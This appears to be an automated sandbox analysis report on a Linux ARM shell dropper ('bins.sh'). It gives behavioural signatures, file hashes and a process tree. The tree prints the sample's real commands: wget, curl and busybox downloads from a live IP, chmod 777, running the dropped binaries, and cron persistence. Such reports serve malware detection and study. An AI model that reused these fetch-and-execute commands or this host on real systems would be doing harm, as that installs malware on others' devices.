Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/11/2024, 19:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241102-x53awashrc
  • SHA256 8cb09527eab1327c95ce229536065a304b033b8b41d7a9d898b89d64d4021c2c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2066) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:665
        • /usr/bin/wget
          wget http://87.120.84.230/bins/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Writes file to tmp directory
          PID:670
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:685
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          ./o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Executes dropped EXE
          PID:695
        • /bin/rm
          rm o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
            PID:697
          • /usr/bin/wget
            wget http://87.120.84.230/bins/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Writes file to tmp directory
            PID:698
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:699
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Writes file to tmp directory
            PID:702
          • /bin/chmod
            chmod 777 lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • File and Directory Permissions Modification
            PID:709
          • /tmp/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            ./lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Executes dropped EXE
            PID:711
          • /bin/rm
            rm lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
              PID:714
            • /usr/bin/wget
              wget http://87.120.84.230/bins/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Writes file to tmp directory
              PID:716
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:721
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Writes file to tmp directory
              PID:729
            • /bin/chmod
              chmod 777 1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • File and Directory Permissions Modification
              PID:732
            • /tmp/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              ./1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:734
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:737
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:738
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:740
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:741
                  • /bin/rm
                    rm 1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
                    2⤵
                      PID:755
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                      2⤵
                        PID:758
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:761

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq

                          • Path /tmp/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
                          • Size 119KB
                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                          • MD5 SHA1 SHA512 SSDEEP

                          lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV

                          • Path /tmp/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
                          • Size 99KB
                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                          • MD5 SHA1 SHA512 SSDEEP

                          o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT

                          • Path /tmp/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
                          • Size 107KB
                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                          • MD5 SHA1 SHA512 SSDEEP

                          tmp.5TVs9H

                          • Path /var/spool/cron/crontabs/tmp.5TVs9H
                          • Size 210B
                          • SHA256 e69fecab7faae8068a6bd9e705a6faffc0d8b9376a035c568d035d446855b658
                          • MD5 SHA1 SHA512